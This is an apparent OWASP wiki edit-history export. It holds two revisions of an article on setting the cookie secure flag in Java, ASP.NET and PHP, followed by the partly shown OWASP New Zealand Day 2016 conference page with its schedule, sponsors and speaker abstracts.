Sun Java EE supports secure flag in Cookie interface since version 6 (Servlet class version 3)[http://java.sun.com/javaee/6/docs/api/javax/servlet/http/Cookie.html#setSecure%28boolean%29], also for session cookies (JSESSIONID)[http://java.sun.com/javaee/6/docs/api/javax/servlet/SessionCookieConfig.html#setSecure%28boolean%29]. Methods ''setSecure'' and ''isSecure'' can be used to set and check for secure value in cookies.<br />
<br />
==== web.xml ====<br />
Servlet 3.0 (Java EE 6) introduced a standard way to configure secure attribute for the session cookie, this can be done by applying the following configuration in web.xml<br />
&lt;session-config&gt;<br />
&lt;cookie-config&gt;<br />
&lt;secure&gt;true&lt;/secure&gt;<br />
&lt;/cookie-config><br />
&lt;/session-config&gt;<br />
<br />
=== Tomcat ===<br />
In '''Tomcat 6''' if the first request for session is using ''https'' then it automatically sets secure attribute on session cookie.<br />
<br />
=== Setting it as a custom header ===<br />
For '''older versions''' the workaround is to rewrite JSESSIONID value using and setting it as a custom header. The drawback is that servers can be configured to use a different session identifier than JSESSIONID.<br />
<br />
String sessionid = request.getSession().getId();<br />
response.setHeader("SET-COOKIE", "JSESSIONID=" + sessionid + "; secure");<br />
<br />
=== Environment consideration ===<br />
<br />
With this flag always set, sessions won't work in environments(development/test/etc.) that may use http. SessionCookieConfig [http://java.sun.com/javaee/6/docs/api/javax/servlet/SessionCookieConfig.html#setSecure%28boolean%29] interface or setting custom header[https://www.owasp.org/index.php/SecureFlag#Setting_it_as_a_custom_header] trick can be leveraged to configure setting of this flag differently for each environment and can be driven by application configuration. <br />
<br />
== ASP.NET ==<br />
<br />
Set the following in Web.config:<br />
<httpCookies requireSSL="true" /><br />
<br />
For some objects that have a requireSSL property, like the forms Authentication Cookie, set the requireSSL="true" flag in the web.config for that specific element.<br />
<br />
== PHP ==<br />
<br />
For session cookies managed by PHP, the flag is set either permanently in php.ini [http://php.net/manual/en/session.configuration.php#ini.session.cookie-secure PHP manual on ''SecureFlag''] through the parameter:<br />
session.cookie_secure = True<br />
or in and during a script via the function [http://pl.php.net/manual/en/function.session-set-cookie-params.php]:<br />
void session_set_cookie_params ( int $lifetime [, string $path [, string $domain <br />
[, bool $secure= false [, bool $httponly= false ]]]] )<br />
For application cookies a parameter in setcookie() sets Secure flag [http://pl.php.net/setcookie]:<br />
bool setcookie ( string $name [, string $value [, int $expire= 0 [, string $path <br />
[, string $domain [, bool $secure= false [, bool $httponly= false ]]]]]] )<br />
<br />
= Testing for the Secure Flag =<br />
<br />
Verifying that a web site sets this flag on any particular cookie is easy. Using an intercepting proxy, like [[ZAP]], you can capture each response from the server and examine any Set-Cookie headers it includes to see if the secure flag is set on the cookie.<br />
<br />
= Related Articles =<br />
* [[Testing for cookies attributes (OTG-SESS-002)|Testing for Cookie Attributes]]<br />
* http://www.troyhunt.com/2011/11/owasp-top-10-for-net-developers-part-9.html<br />
<br />
[[Category:Control]]</div>Dan Wallishttps://wiki.owasp.org/index.php?title=SecureFlag&diff=231867SecureFlag2017-07-27T04:07:36Z<p>Dan Wallis: /* Related Articles */</p>
<hr />
<div>{{taggedDocument<br />
| type=old<br />
| lastRevision=2015-12-14<br />
| comment=References out-of-date platforms and environments.<br />
}}<br />
<br />
= Overview =<br />
<br />
The secure flag is an option that can be set by the application server when sending a new cookie to the user within an HTTP&nbsp;Response. The purpose of the secure flag is to prevent cookies from being observed by unauthorized parties due to the transmission of a the cookie in clear text.<br><br />
<br />
To accomplish this goal, browsers which support the secure flag will only send cookies with the secure flag when the request is going to a HTTPS page. Said in another way, the browser will not send a cookie with the secure flag set over an unencrypted HTTP request.<br><br />
<br />
By setting the secure flag, the browser will prevent the transmission of a cookie over an unencrypted channel.<br><br />
<br />
= Setting the Secure Flag =<br />
<br />
Following sections describes setting the Secure Flag in respective technologies.<br />
<br />
== Java ==<br />
<br />
=== Servlet 3.0 (Java EE 6) ===<br />
Sun Java EE supports secure flag in Cookie interface since version 6 (Servlet class version 3)[http://java.sun.com/javaee/6/docs/api/javax/servlet/http/Cookie.html#setSecure%28boolean%29], also for session cookies (JSESSIONID)[http://java.sun.com/javaee/6/docs/api/javax/servlet/SessionCookieConfig.html#setSecure%28boolean%29]. Methods ''setSecure'' and ''isSecure'' can be used to set and check for secure value in cookies.<br />
<br />
==== web.xml ====<br />
Servlet 3.0 (Java EE 6) introduced a standard way to configure secure attribute for the session cookie, this can be done by applying the following configuration in web.xml<br />
&lt;session-config&gt;<br />
&lt;cookie-config&gt;<br />
&lt;secure&gt;true&lt;/secure&gt;<br />
&lt;/cookie-config><br />
&lt;/session-config&gt;<br />
<br />
=== Tomcat ===<br />
In '''Tomcat 6''' if the first request for session is using ''https'' then it automatically sets secure attribute on session cookie.<br />
<br />
=== Setting it as a custom header ===<br />
For '''older versions''' the workaround is to rewrite JSESSIONID value using and setting it as a custom header. The drawback is that servers can be configured to use a different session identifier than JSESSIONID.<br />
<br />
String sessionid = request.getSession().getId();<br />
response.setHeader("SET-COOKIE", "JSESSIONID=" + sessionid + "; secure");<br />
<br />
=== Environment consideration ===<br />
<br />
With this flag always set, sessions won't work in environments(development/test/etc.) that may use http. SessionCookieConfig [http://java.sun.com/javaee/6/docs/api/javax/servlet/SessionCookieConfig.html#setSecure%28boolean%29] interface or setting custom header[https://www.owasp.org/index.php/SecureFlag#Setting_it_as_a_custom_header] trick can be leveraged to configure setting of this flag differently for each environment and can be driven by application configuration. <br />
<br />
== ASP.NET ==<br />
<br />
Set the following in Web.config:<br />
<httpCookies requireSSL="true" /><br />
<br />
For some objects that have a requireSSL property, like the forms Authentication Cookie, set the requireSSL="true" flag in the web.config for that specific element.<br />
<br />
== PHP ==<br />
<br />
For session cookies managed by PHP, the flag is set either permanently in php.ini [http://php.net/manual/en/session.configuration.php#ini.session.cookie-secure PHP manual on ''SecureFlag''] through the parameter:<br />
session.cookie_secure = True<br />
or in and during a script via the function [http://pl.php.net/manual/en/function.session-set-cookie-params.php]:<br />
void session_set_cookie_params ( int $lifetime [, string $path [, string $domain <br />
[, bool $secure= false [, bool $httponly= false ]]]] )<br />
For application cookies a parameter in setcookie() sets Secure flag [http://pl.php.net/setcookie]:<br />
bool setcookie ( string $name [, string $value [, int $expire= 0 [, string $path <br />
[, string $domain [, bool $secure= false [, bool $httponly= false ]]]]]] )<br />
<br />
= Testing for the Secure Flag =<br />
<br />
Verifying that a web site sets this flag on any particular cookie is easy. Using an intercepting proxy, like [[ZAP]], you can capture each response from the server and examine any Set-Cookie headers it includes to see if the secure flag is set on the cookie.<br />
<br />
= Related Articles =<br />
* [[Testing for cookies attributes (OTG-SESS-002)|Testing for Cookie Attributes]]<br />
* http://www.troyhunt.com/2011/11/owasp-top-10-for-net-developers-part-9.html<br />
<br />
[[Category:Control]]<br />
[[Category:FixME/old]]</div>Dan Wallishttps://wiki.owasp.org/index.php?title=OWASP_New_Zealand_Day_2016&diff=212476OWASP New Zealand Day 20162016-04-05T02:25:33Z<p>Dan Wallis: Adding link to my slides</p>
<hr />
<div>__NOTOC__<br />
<center><br />
[https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2016 https://www.owasp.org/images/2/23/OWASP_NZ_Day_2016_logo.jpg]<br><br><br />
'''3rd and 4th Feburary 2016 - Auckland'''<br />
</center><br />
----<br />
<br />
= Introduction =<br />
==Introduction==<br />
We are proud to announce the seventh OWASP New Zealand Day conference, to be held at the University of Auckland on Thursday February 4th, 2016. OWASP New Zealand Day is a one-day conference dedicated to application security, with an emphasis on secure architecture and development techniques to help Kiwi developers build more secure applications.<br />
<br />
<br />
Who is it for?<br />
<br />
* Web Developers: The morning sessions will introduce you to application security. Afternoon sessions will dive deeper into technical topics, and build on the morning sessions.<br />
* Management: After an introduction to web application security, one of the afternoon streams will focus on informational and defensive topics.<br />
* Security Professionals and Enthusiasts: Technical sessions later in the day will showcase new and interesting attack and defence topics.<br />
<br />
==Conference structure==<br />
<br />
Date: Thurs 4 Feb 2016<br><br />
Time: 9:00am - 5:00pm<br><br />
Cost: Free<br><br />
Food: Morning and Afternoon tea<br />
<br />
The main conference is on Thursday 4th of February, and will have three streams:<br />
<br />
<br />
<table style="border:1px solid black;"><br />
<tr><br />
<td width="10%" style="text-align:center; border:1px solid black">Morning</td><br />
<td width="90%" colspan="2" style="border:1px solid black; padding: 0px 0px 0px 12px;">Introductions to application security topics</td><br />
</tr><br />
<tr><br />
<td width="10%" style="text-align:center; border:1px solid black;">Afternoon</td><br />
<td width="45%" style="border:1px solid black; padding: 0px 0px 0px 12px;">Offensive Security</td><br />
<td width="45%" style="border:1px solid black; padding: 0px 0px 0px 12px;">Informational / Defensive</td> <br />
</tr><br />
</table><br />
<br />
==Training==<br />
<br />
Date: Wed 3 Feb 2016<br><br />
Time: 9:30am - 12:30pm session booked out<br><br />
Time: 1:30am - 4:30pm or part thereof. Spaces going fast, so get in quick<br><br />
<br />
<br />
As well as the main conference on Thursday, we are pleased to be able to provide training on Wednesday. All details including registration can be found on the [https://www.eventbrite.com/e/owasp-nz-day-training-littlehackme-pm-tickets-20715612956 Training Registration Page].<br />
<br />
<!--<br />
Training sessions will be announced by XXX, and will be held at the same venue on Wednesday 3 February.<br />
--><br />
<br />
<br />
The seventh OWASP New Zealand Day will be happening thanks to the support provided by the University of Auckland, which will kindly offer a slightly different location from last year. Entry to the event will, as in the past, be free.<br />
<br />
<br />
For any comments, feedback or observations, please don't hesitate to contact [mailto:kim.carter@owasp.org?cc=adrian.hayes@owasp.org&cc=denis.andzakovic@owasp.org&cc=kirk.jackson@owasp.org us].<br><br />
<br />
==Registration==<br />
<!--<br />
Registration is not yet open. Please join our low volume [https://lists.owasp.org/mailman/listinfo/owasp-newzealand mailing list] to be notified when registration opens.<br />
--><br />
<br />
Registration for the main conference day is now open: [https://www.eventbrite.com/e/owasp-day-nz-conference-tickets-20260031299 Conference Registration Here]<br />
<br />
There is no cost for the main conference day. Morning and afternoon tea will be provided. Unfortunately due to increased conference running costs, lunch will not be provided as it has been for the past OWASP NZ Days. We do ask that if at any point you realise you cannot make it please cancel your registration to make room for others as spaces are limited.<br />
<br />
<!--<br />
Training Registration is now open: [http://www.regonline.com/owaspnzday2016trainingandsponsorship Training Registration]<br />
--><br />
<br />
<!--<br />
Registration is now closed.<br />
--><br />
<br />
==Important dates==<br />
<br />
* CFP & CFT submission deadline: 7th December 2015<br />
* Conference Registration deadline: 21st January 2016<br />
* Training Registration deadline: 21st January 2016<br />
* Training Day date: 3rd February 2016<br />
* Conference Day date: 4th February 2016<br />
<br />
<!--<br />
For those of you booking flights, ensure you can be at the venue at 8:30am, the conference will end by 5:30pm however we will have post conference drinks at a local drinking establishment for those interested.<br />
--><br />
<br />
==Conference Venue==<br />
<br />
<table width="100%"><br />
<tr><br />
<td><br />
<br />
The University of Auckland School of Commerce<br><br />
Address: 12 Grafton Road<br><br />
<br><br />
Main conference room: Level 1<br><br />
Room: 115 (Fisher & Paykel Auditorium)<br><br />
<br><br />
Afternoon parallel stream: Level 0<br><br />
Room: B5<br><br />
<br><br />
Auckland<br><br />
New Zealand<br><br />
[https://www.google.com/maps/place/Owen+G+Glenn+Building+12+Grafton+Road/@-36.8528203,174.770224,17z/data=!4m6!1m3!3m2!1s0x0000000000000000:0x0205ad91287ba364!2sUniversity+of+Auckland+Graduate+School+of+Enterprise!3m1!1s0x0000000000000000:0xc9d224e5921a6690 Map]<br />
</td><br />
<td><br />
[[Image:073_AUBiz_10Apr08small.jpg]] [[Image:MG_0037small.JPG]]<br />
</td><br />
</tr><br />
</table><br />
<br />
==Conference Sponsors==<br />
<table width="100%" border="0" cellspacing="1" cellpadding="1"><br />
<tr><br />
<td valign="bottom" width="50%"><center>[http://www.auckland.ac.nz/ https://www.owasp.org/images/8/82/University_of_Auckland_crest_small.png]</center></td><br />
<td valign="bottom" width="50%"><center>[http://security.org.nz/nzsif/ https://www.owasp.org/images/5/5a/Nz_information_security_forum.png]</center></td><br />
</tr><br />
<tr><br />
<td valign="top" width="50%"><center>ICT and Department of Information Systems and Operations Management</center></td><br />
<td valign="top" width="50%">&nbsp;</td><br />
</tr><br />
</table><br />
----<br />
<br />
'''Gold Sponsors:'''<br />
<table width="100%" border="0" cellspacing="0" cellpadding="0"><br />
<tr><br />
<td><center>[[File:INSOMNIA.PNG|center|300px|link=http://www.insomniasec.com/]]</center></td><br />
<td>&nbsp;</td><br />
<td>&nbsp;</td><br />
<td><center>[[File:RedShield.png|center|300px|link=https://auraredshield.com/]]</center></td><br />
<td>&nbsp;</td><br />
<td>&nbsp;</td><br />
<td><center>[http://www.security-assessment.com https://www.owasp.org/images/4/41/SA_Logo_w_DD.gif]</center></td><br />
</tr><br />
<tr><br />
<td><center>[http://www.insomniasec.com Insomnia Security]</center></td><br />
<td>&nbsp;</td><br />
<td>&nbsp;</td><br />
<td><center>[https://auraredshield.com/ Aura RedShield]</center></td><br />
<td>&nbsp;</td><br />
<td>&nbsp;</td><br />
<td><center>[http://www.security-assessment.com www.security-assessment.com]</center></td><br />
</tr><br />
</table><br />
----<br />
<br />
'''Silver Sponsors:'''<br />
<table width="100%" border="0" cellspacing="0" cellpadding="0"><br />
<tr><br />
<td><center>[[File:Quantum.png|center|250px|link=http://www.quantumsecurity.co.nz/]]</center></td><br />
<td><center>[[File:ZX_Security_Cutout_Cropped.png|center|88px|link=http://www.zxsecurity.co.nz/]]</center></td><br />
<td><center>[[File:Wynyard_CMYK_land.png|center|250px|link=https://www.wynyardgroup.com/]]</center></td><br />
</tr><br />
</table><br />
----<br />
<br />
'''Support Sponsor:'''<br />
<table width="100%" border="0" cellspacing="0" cellpadding="0"><br />
<tr><br />
<td><center>[[File:BinaryMistLimited.png|center|150px|link=http://binarymist.io]]</center></td><br />
</tr><br />
</table><br />
<br />
==Conference Committee==<br />
<br />
* Denis Andzakovic - OWASP New Zealand Leader (Auckland)<br />
* Adrian Hayes - OWASP New Zealand Leader (Wellington)<br />
* Kirk Jackson - OWASP New Zealand Leader (Wellington)<br />
* Kim Carter - OWASP New Zealand Leader (Christchurch)<br />
* Lech Janczewski - Associate Professor - University of Auckland School of Business<br />
<br />
Please direct all enquiries to denis.andzakovic@owasp.org | adrian.hayes@owasp.org | kim.carter@owasp.org | kirk.jackson@owasp.org<br />
<br />
For information on other OWASP NZ events, please visit the [https://www.owasp.org/index.php/New_Zealand NZ chapter site]<br />
<br />
<br />
= Presentation Schedule=<br />
==Presentations==<br />
<center><br />
4th Feburary 2016<br />
<table width="80%"><br />
<tr><br />
<td width="7%" valign="top">08:30</td><br />
<td colspan="2" style="background-color: #8595C2; text-align: center">Registration Opens</td><br />
</tr><br />
<tr><br />
<td width="7%" valign="top">09:00</td><br />
<td colspan="2" style="background-color: #B9C2DC; text-align: center"><br />
<b>[https://speakerdeck.com/binarymist/owasp-nz-day-2016 Welcome to OWASP New Zealand Day 2016]</b><br /><br />
<i>Lech Janczewski (Associate Professor), Adrian Hayes, Denis Andzakovic and [https://binarymist.io Kim Carter] (OWASP Leaders)</i><br />
</td><br />
</tr> <br />
<tr><br />
<td width="7%" valign="top">09:15</td><br />
<td colspan="2" style="background-color: #EEE; text-align: center"><br />
<b>[https://web.fredden.org/assets/OWASP%20Feb%202016.pdf Credit card fraud: you don't want to be the common point of purchase]</b><br /><br />
<i>Dan Wallis - Christchurch ISIG</i><br />
</td><br />
</tr><br />
<tr><br />
<td width="7%" valign="top">09:45</td><br />
<td colspan="2" style="background-color: #B9C2DC; text-align: center"><br />
<b>Chronicles of SOP bypass</b><br /><br />
<i>Emmanuel Law - Aura Information Security</i><br />
</td><br />
</tr><br />
<tr><br />
<td width="7%" valign="top">10:15</td><br />
<td colspan="2" style="background-color: #EEE; text-align: center"><br />
<b>[https://www.owasp.org/images/9/9e/Keep_Calm_And_CSP.pdf Keep calm and CSP]</b><br /><br />
<i>Valentinas Bakaitis - Aura Information Security</i><br />
</td><br />
</tr> <br />
<tr><br />
<td width="7%" valign="top">10:30</td><br />
<td colspan="2" style="background-color: #D98B66; text-align: center"><br />
<b>Break for Morning Tea</b><br /><br />
</td><br />
</tr> <br />
<tr><br />
<td width="7%" valign="top">11:00</td><br />
<td colspan="2" style="background-color: #EEE; text-align: center"><br />
<b>Continuous Security</b><br /><br />
<i>Laura Bell - SafeStack</i><br />
</td><br />
</tr><br />
<tr><br />
<td width="7%" valign="top">11:30</td><br />
<td colspan="2" style="background-color: #B9C2DC; text-align: center"><br />
<b>Making AppSec a (Respectable) Religion</b><br /><br />
<i>Chris Campbell - Jade Software</i><br />
</td><br />
</tr><br />
<tr><br />
<td width="7%" valign="top">12:00</td><br />
<td colspan="2" style="background-color: #EEE; text-align: center"><br />
<b>[https://www.lateralsecurity.com/downloads/Lateral_Security-OAuth2_The_Promise_and_Pitfalls_NZOWASP2016.pdf Oauth 2.0: The Promise and Pitfalls]</b><br /><br />
<i>Sergey Ozernikov - Lateral Security</i><br />
</td><br />
</tr> <br />
<tr><br />
<td width="7%" valign="top">12:30</td><br />
<td colspan="2" style="background-color: #D98B66; text-align: center"><br />
<b>Break for Lunch</b><br /><br />
</td><br />
</tr> <br />
<tr><br />
<td width="7%" valign="top">13:30</td><br />
<td style="background-color: #B9C2DC; text-align: center"><br />
<b>Attacking Real-World Crypto Flaws</b><br /><br />
<i>Chris Smith - Insomnia Security</i><br />
</td><br />
<td style="background-color: #B9C2DC; text-align: center"><br />
<b>[https://www.owasp.org/images/3/30/Presentation_-_Two-Thirds_of_the_Sacred_Triangle_%28OWASP%29_%2802_2016%29.pptx Two-thirds of the Sacred Triangle]</b><br /><br />
<i>Andrew Kelly - Insomnia Security</i><br />
</td><br />
</tr><br />
<tr><br />
<td width="7%" valign="top">14:00</td><br />
<td style="background-color: #EEE; ; text-align: center"><br />
<b>Practical Attacks on WebRTC Applications</b><br /><br />
<i>Felix Shi - Xero</i><br />
</td><br />
<td style="background-color: #EEE; ; text-align: center"><br />
<b>[https://www.lateralsecurity.com/downloads/Lateral_Security-Source_Code_Reviews-NZOWASP2016.pdf Source Code Reviews: Why You Should]</b><br /><br />
<i>David Waters - Lateral Security</i><br />
</td><br />
</tr><br />
<tr><br />
<td width="7%" valign="top">14:30</td><br />
<td style="background-color: #B9C2DC; text-align: center"><br />
<b>Practical exploitation of less commonly identified vulnerabilities</b><br /><br />
<i>Daniel Jensen - Security Assessment</i><br />
</td> <br />
<td style="background-color: #B9C2DC; text-align: center"><br />
<b>[https://www.owasp.org/images/8/83/Host_review_owasp_2016.pdf Host Hardening - Achieve or Avoid?]</b><br /> <br />
<i>Nilesh Kapoor</i><br />
</td><br />
</tr><br />
<tr><br />
<td width="7%" valign="top">15:00</td><br />
<td style="background-color: #EEE; ; text-align: center"><br />
<b>Deserialization, what could go wrong</b><br /><br />
<i>Brendan Jamieson - Insomnia Security</i><br />
</td><br />
<td style="background-color: #EEE; ; text-align: center"><br />
<b>I judge all of your services and applications</b><br /><br />
<i>Shahn Harris - Beca Ltd</i><br />
</td><br />
</tr> <br />
<tr><br />
<td width="7%" valign="top">15:30</td><br />
<td colspan="2" style="background-color: #D98B66; text-align: center"><br />
<b>Break for Afternoon Tea</b><br /><br />
</td><br />
</tr><br />
<tr><br />
<td width="7%" valign="top">16:00</td><br />
<td colspan="2" style="background-color: #EEE; text-align: center"><br />
<b>[https://www.owasp.org/images/b/bc/OWASP_-_McMullan.pdf Risk based software assurance requirements for aircraft systems]</b><br /><br />
<i>Russell McMullan - Beca Ltd</i><br />
</td><br />
</tr><br />
<tr><br />
<td width="7%" valign="top">16:30</td><br />
<td colspan="2" style="background-color: #B9C2DC; text-align: center"><br />
<b>After 30 Years, I’m Coming Out</b><br /><br />
<i>Kevin Alcock - Katipo Information Security Ltd</i><br />
</td><br />
</tr><br />
<tr><br />
<td width="7%" valign="top">17:00</td><br />
<td colspan="2" style="background-color: #EEE; text-align: center"><br />
<b>[https://www.owasp.org/images/3/39/INFOSEC_is_a_marketing_responsibility-Carlos_Cordero-Convergnce-OWASP_Day_2016.pdf Information Security is a Marketing Responsibility]</b><br /><br />
<i>Carlos Cordero - Convergnce</i><br />
</td><br />
</tr><br />
<tr><br />
<td width="7%" valign="top">17:15</td><br />
<td colspan="2" style="background-color: #B9C2DC; text-align: center"><br />
<b>Wrap Up</b><br /><br />
<i>Time for the pub, for those interested</i><br />
</td><br />
</tr><br />
</table><br />
</center><br />
<br />
= Speakers List=<br />
==Speakers List==<br />
<br />
===Dan Wallis - Christchurch ISIG - Credit card fraud; you don't want to be the common point of purchase===<br />
----<br />
<b>Abstract</b><br />
<br />
A real-world example of how three problems lined up to leak credit card data online. Each problem wasn't by itself enough to leak anything valuable, but by their powers combined, the bank called.<br />
I'll talk through the details of each flaw, why they were introduced, how they lined up, and lessons learnt.<br />
<br />
<b>Speaker Bio</b><br />
<br />
I'm a sysadmin with lots of web experience; I've been in the industry for more than 10 years. I currently work for an agency in Christchurch, focusing on ecommerce websites.<br />
<br />
<br />
===Emmanuel Law - Aura Information Security - Chronicles of SOP bypass===<br />
----<br />
<b>Abstract</b><br />
<br />
Same Origin Policy (SOP) is one of the fundamental protection when surfing the internet. It's in all browsers, various plugins and mobile applications. This talk will walk the audience through a history of some of SOP most interesting bugs; ranging from some of the earliest manifestations to the more recent SOP bypasses. Although many of these SOP bugs are beyond the control of the developers but we'll cover some mitigating measures that one could possibly take.<br />
<br />
<b>Speaker Bio</b><br />
<br />
Principal security consultant @ Aura Information Security (NZ) by day, he spends his nights exploiting stuff for fun and profit.<br />
<br />
<br />
===Valentinas Bakaitis - Aura Information Security - Keep calm and CSP===<br />
----<br />
<b>Abstract</b><br />
<br />
CSP stands for Content Security Policy and is a reasonably new mechanism to protect against client side vulnerabilities like XSS and XSRF. Applied correctly it can completely eliminate nearly all XSS issues, regardless whether they are known or unknown. While the mechanism is extremely, effective and in most cases easy to implement, the adoption remains low. This talk will introduce CSP to those who are not familiar with it and remind about the power of it to those that heard about it before.<br />
<br />
<b>Speaker Bio</b><br />
<br />
Developer turned Security Consultant. Valentinas has 10 years of experience in IT industry, with last two years working as a security consultant. His interests include IT security, physical security and hardware hacking.<br />
<br />
<br />
===Russell McMullan - Beca Ltd - Risk based software assurance requirements for aircraft systems===<br />
----<br />
<b>Abstract</b><br />
<br />
This talk focuses on the contribution of the design methods used in aircraft system development and their contribution to security. This includes an overview of aircraft system design requirements and design rules, how the system and software ‘Design Assurance Level’ is determined, and an overview of the Software ‘Assurance Level’ requirements used in software development. I’ll provide my personal thoughts on the Design Assurance Level contribution to security including the inherent aircraft system design principles and processes that contribute to security, and some thoughts on augmenting these practices with the Common Criteria requirements.<br />
<br />
If you’ve ever wondered about aircraft systems software development, this talk may be of interest.<br />
<br />
<b>Speaker Bio</b><br />
<br />
With 20+ years associated with military aircraft systems, Russell has a unique view of system and software risk methods for aircraft systems. Russell currently works at Beca in the Advisory team.<br />
<br />
<br />
===Chris Campbell - Jade Software - Making AppSec a (Respectable) Religion===<br />
----<br />
<b>Abstract</b><br />
<br />
No stranger to rapid transformation, Jade Software – a leading technology company with an almost 40 year pedigree, today works with an ever increasing range of technologies to solve complex problems for its’ customers. .NET, HTML5, SQL, Oracle, Java, Azure and AWS cloud services, and of course the JADE platform, all form part of the Jade technology stable. <br />
<br />
Using the latest and greatest technology stack only gets you so far. But to maintain the reputation of producing market leading, enterprise-level solutions, robust security practices are a must. Making security a key component of your SDLC with minimal interruption can be achieved with assistance from an OWASP project (or a few), coupled with a lot of passion.<br />
<br />
<b>Speaker Bio</b><br />
<br />
Chris, who in a past life was a .NET developer, is a Security & Operations Consultant at Jade Software. His role sees him managing operational and user security, and overseeing both the security and architecture of development and operational projects which span a wide variety of industries.<br />
<br />
<br />
===Sergey Ozernikov - Lateral Security - Oauth 2.0: The Promise and Pitfalls===<br />
----<br />
<b>Abstract</b><br />
<br />
OAuth 2.0, the second version of the popular authorisation framework, was proposed as an IETF standard in October 2012 and has since been implemented and used by companies such as Facebook, Google and Microsoft. In January 2013 an RFC containing a comprehensive threat model of OAuth 2.0 was introduced. It was as long as the initial specification which had left out a lot of security considerations, most likely as it was assumed that developers would know how to securely implement OAuth 2.0. However many didn’t and without the necessary security controls, many relatively benign web application vulnerabilities could now flourish on a much larger and bountiful attack surface. An open redirect directly leading to an account compromise? Easy. In this talk, an overview of what should be catered for when integrating OAuth 2.0 into your project and how not to introduce additional security risks, will be provided. Most common attack vectors and some examples of real-life vulnerabilities in OAuth 2.0 implementations will be presented. Ideally attendees should have a basic understanding of OAuth 2.0 flow and web application security.<br />
<br />
<b>Speaker Bio</b><br />
<br />
Sergey has gained his experience in the field of information security working for several Russian commercial and government organisations for around 7 years after finally realising that he enjoys breaking and protecting things more than building them. In 2013 he moved to New Zealand and shortly after joined Lateral Security as a security consultant.<br />
<br />
<br />
===Chris Smith - Insomnia Security - Attacking Real-World Crypto Flaws===<br />
----<br />
<b>Abstract</b><br />
<br />
Everybody knows by now not to roll your own crypto, right? RIGHT? But, as an attacker, how do you go about identifying and exploiting these flaws for your own benefit. And, as a defender, how can you gauge the full impact of such flaws and ensure you steer clear of them?<br />
<br />
So forget about the LUCKYBEASTCRIMEPOODLE13 for now, this talk is going to focus on real-world crypto flaws in everyday software. We'll look at some cryptographic issues I've come across in my travels, and how to exploit them. And along the way, we might just learn something about doing it correctly, too!<br />
<br />
<b>Speaker Bio</b><br />
<br />
Chris is a consultant for Insomnia Security where he breaks other peoples stuff and writes reports about it. Previously a Linux sysadmin and polyglot developer, he now exacts his revenge on technologies that have wronged him.<br />
<br />
<br />
===Felix Shi - Xero - Practical Attacks on WebRTC Applications===<br />
----<br />
<b>Abstract</b><br />
<br />
WebRTC is a browser-based technology that allows peer-to-peer communication via a list of predefined APIs. It has gained popularity among many video conferencing, telephony, and file sharing applications. <br />
<br />
Research has been done on its design, architecture, and potential attack vectors against applications that use it. This talk will focus on practical attacks that can be performed on applications that use WebRTC, and how to mitigate against them.<br />
<br />
<b>Speaker Bio</b><br />
<br />
Felix works in the product security space at an online accounting software company named Xero. He joined in 2014 and his day job involves securing and breaking internally developed products. Before Xero he spent his previous years as a developer, and has been dabbling in the information security scene in Wellington.<br />
<br />
<br />
===Nilesh Kapoor - Aura Information Security - Host Hardening : Achieve or Avoid?===<br />
----<br />
<b>Abstract</b><br />
<br />
This is still a question mark for most of the business and application owners; host hardening – Avoid or Achieve. This paper covers the real world scenario of a potential server compromise due to the lack of OS hardening, running secure but unpatched services over the Internet and the host review process and approach backed up with OWASP guideline and CIS benchmark. This talk also touches on host review and hardening automation techniques for medium-sized and enterprise organisations.<br />
<br />
This topic aims;<br />
Increase the awareness and importance of host review and hardening among business owners, application owners, server administrators and developers.<br />
Answer basic questions such as what host review involves, what approach is recommended for structured host review and achieving compliance, how to create a hardening baseline standard and apply them to your organisation policy<br />
Automate host review process and hardening for servers hosting critical data<br />
<br />
<b>Speaker Bio</b><br />
<br />
Nilesh Kapoor is the author of “Security Testing Handbook for Banking Applications” published by IT Governance. He is currently working as a Senior Security Consultant with Aura Information Security. He has over 8 years of experience in security consulting, application security, host review and hardening, network security, enterprise solution security and mobile security. He is also a registered penetration tester with CREST and a CEH certification holder. His articles are published on IITP blogs and also maintain own security blog at http://nileshkapoor.blogspot.com.<br />
<br />
<br />
===Shahn Harris - Beca Ltd - I judge all of your services and applications===<br />
----<br />
<b>Abstract</b><br />
<br />
I will explain the process that goes on inside a corporate/enterprise when a corporate security team is contacted to evaluate a new application or service by a business unit.<br />
The first questions asked have nothing to do with your SDLC, choice of code, framework or potential integration points. the questions are more what is it, what does it do and where does it live and what do they know.<br />
Come to this talk if you wish to discover what information most large corporates/enterprises will ask of you if you try to sell a product/service to them. By taking the learnings from this talk it could potentially save you lots of time,money and<br />
<br />
<b>Speaker Bio</b><br />
<br />
Shahn has worked for/with a number of different flagship New Zealand companies across multiple sectors and industries as a security consultant.<br />
<br />
<br />
===Laura Bell - SafeStack - Continuous Security===<br />
----<br />
<b>Abstract</b><br />
<br />
Agile development is a powerful tool for the creation of high-quality software products. It has however scared the life out of many security managers and risk leaders. Once the job of a dedicated security team, security is now the responsibility of all members of our Agile teams.<br />
<br />
So how do we bring continuous security to our lifecycles without compromising velocity and innovation? What tools and techniques do we need and when should we apply them?<br />
<br />
In this talk, we will examine why security is the new key skills for successful Agile development teams and what you can do to bring it to your teams.<br />
<br />
This is a talk of war stories from the SCRUM team trenches and real world tools, techniques and processes that are less about 'managing' security than they are about building amazing(secure) things, fast.<br />
<br />
<b>Speaker Bio</b><br />
<br />
With almost a decade of experience in software development and information security, Laura specialises in bringing security survival skills, practices and culture into fast-moving environments.<br />
<br />
Laura has spoken at various events such as BlackHat, BlueHat, Velocity, OSCON, Kiwicon, Linux Conf AU and Microsoft TechEd on the subjects of privacy, covert communications, Agile security and security mindset.<br />
<br />
Laura is the founder of SafeStack, a specialist security training, development, and consultancy firm and lives in Auckland with her husband and daughter.<br />
<br />
<br />
===Kevin Alcock - Katipo Information Security Ltd - After 30 Years, I’m Coming Out===<br />
----<br />
<b>Abstract</b><br />
<br />
This talk is about my journey from a software development veteran with 30 years of experience to an information security noob. The intended audience is for information security noobs looking to get better and web application developers wanting to understand how their applications are vulnerable. The focus is on the Offensive Security (makers of Kali Linux) course Penetration Testing Training with Kali Linux and the Offensive Security Certified Professional (OSCP) certification exam. There will be no spoilers for those that are currently doing the course and exam. OWASP projects such as ZAP, Dirbuster and Broken Web Applications will be discussed on how they help me. I will also discuss which of the OWASP Top 10 (2013) vulnerabilities I used to gain access to the systems on the lab network.<br />
<br />
<b>Speaker Bio</b><br />
<br />
Kevin has spent the last 30 (10 in North America) years in enterprise software development and delivery, now he is turn that experience towards the information security sector to help businesses in need.<br />
<br />
<br />
===Carlos Cordero - Convergnce - Information Security is a Marketing Responsibility===<br />
----<br />
